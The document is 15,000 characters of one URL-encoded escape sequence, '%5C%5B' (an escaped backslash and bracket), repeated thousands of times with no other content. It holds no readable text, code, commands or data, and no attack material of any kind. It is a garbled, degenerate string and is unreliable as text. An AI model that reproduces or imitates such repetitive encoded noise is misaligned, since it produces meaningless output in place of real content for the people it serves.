%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B